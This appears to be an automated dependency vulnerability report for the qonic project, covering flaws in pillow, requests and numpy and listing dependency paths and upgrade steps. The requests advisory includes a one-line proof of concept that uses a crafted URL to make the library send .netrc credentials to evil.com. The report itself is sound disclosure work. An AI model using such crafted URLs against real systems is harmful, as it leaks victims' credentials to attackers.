  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 pillow@9.5.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: requests
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/&apos;)

Remediation

Upgrade requests to version 2.32.4 or higher.

References

medium severity

Always-Incorrect Control Flow Implementation

  • Vulnerable module: requests
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

  1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

  2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

  3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

medium severity
new

Insecure Temporary File

  • Vulnerable module: requests
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.

Note: Only applications that call extract_zipped_paths() directly are impacted.

Workaround

This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.

Remediation

Upgrade requests to version 2.33.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: tequila-basic@1.9.11

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 requests@2.31.0 certifi@2026.2.25

MPL-2.0 license

low severity

Buffer Overflow

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, dimod@0.12.7 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dimod@0.12.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 penaltymodel@1.0.2 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 cvxpy@1.3.4 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 lmfit@1.2.2 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 pandas@1.3.5 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 autograd@1.6.2 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 penaltymodel@1.0.2 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 h5py@3.8.0 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.

Remediation

Upgrade numpy to version 1.22.0 or higher.

References

low severity

Denial of Service (DoS)

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, dimod@0.12.7 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dimod@0.12.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 penaltymodel@1.0.2 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 cvxpy@1.3.4 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 lmfit@1.2.2 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 pandas@1.3.5 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 autograd@1.6.2 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 penaltymodel@1.0.2 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 h5py@3.8.0 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade numpy to version 1.22.0rc1 or higher.

References

low severity

NULL Pointer Dereference

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, dimod@0.12.7 and others

Detailed paths

  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.2.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dimod@0.12.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 penaltymodel@1.0.2 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 cvxpy@1.3.4 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 lmfit@1.2.2 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 matplotlib@3.5.3 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 forest-benchmarking@0.9.0 pandas@1.3.5 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 autograd@1.6.2 numpy@1.21.3
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 dwavebinarycsp@0.2.0 penaltymodel@1.0.2 dimod@0.12.7 numpy@1.21.3
    Remediation: Upgrade to dwavebinarycsp@0.3.0.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 h5py@3.8.0 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 matplotlib@3.5.3 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.
  • Introduced through: Qonic-Team/qonic@Qonic-Team/qonic#161ffcedc5b435c41f0de4dddecdc1f875565c26 tequila-basic@1.9.11 openfermion@1.6.1 cirq-core@1.1.0 pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to tequila-basic@1.9.11.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.

Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.

Remediation

Upgrade numpy to version 1.22.2 or higher.

References